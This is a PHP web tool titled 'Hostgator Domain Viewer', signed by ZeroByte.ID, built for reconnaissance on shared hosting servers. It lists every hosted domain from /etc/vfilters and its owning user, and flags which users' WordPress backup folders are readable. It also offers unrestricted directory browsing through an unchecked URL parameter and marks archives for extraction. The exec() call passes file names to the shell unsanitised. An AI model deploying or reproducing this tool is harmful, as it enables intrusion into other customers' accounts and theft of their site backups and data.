Hostgator Domain Viewer

<?php
set_time_limit(0);
error_reporting(0);
?>
<title>Hostgator Domain Viewer</title>
<style type="text/css">body {background:#333333;color:#cccccc;font-family: 'Courier'}td {border:1px dashed #FF0000;padding:3px;}a {color:#00ff00;text-decoration:none;}th {background: #FF0000;padding:5px;color:#FFFFFF;}h1 {margin:0;}tr:hover {background:#7B241C;}</style>
<?php
if(!empty($_GET['dir'])) {
    $path = $_GET['dir'];
    echo '<hr>Current Dir: '.$path.'<hr>';
    $scandir = scandir($path);
    foreach($scandir as $filez) {
        if(is_dir("$path/$filez")) {
            echo '[DIR] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
        }
        else if(preg_match('/(tar.gz)$/', $filez)) {
            echo '[FILE] <a href="?xtract='.$path.'/'.$filez.'" style="color:red;">'.$filez.'</a> <a>[ HAJAR! ]</a><br>';
        }
        else {
            echo '[FILE] <a href="?dir='.$path.'/'.$filez.'">'.$filez.'</a><br>';
        }
    }
}
else {
echo '<center>';
echo '<h1>-=[ Hostgator Domain Viewer ]=-</h1>';
echo '<small>'.php_uname().'</small>';
$domaindir = '/etc/vfilters/';
$domainfile = scandir($domaindir);
echo "<table width='80%'>\n";
echo "<tr><th>Domain</th><th>User</th><th>Backupwordpress</th></tr>";
foreach($domainfile as $domain){
    if(!is_dir($domain) && !preg_match('/^[*.]/', $domain) && !preg_match('/[0-9]$/', $domain)) {
        $user = exec("ls -l $domaindir$domain | awk '{print $3}'");
        echo '<tr><td>'.$domain.'</td><td width="15%" align="center"><small>'.$user.'</small></td>';
        if(is_readable("/home/$user/backupwordpress")){
            echo '<td width="13%" align="center">Yes</td>';
        } else {
            echo '<td width="13%"><center><font color="red">No</font></center></td>';
        }
        echo '</tr>';
    }
}
echo "</table>\n";
echo "<hr>&copy; 2018 - ZeroByte.ID";
echo '</center>';
}
?>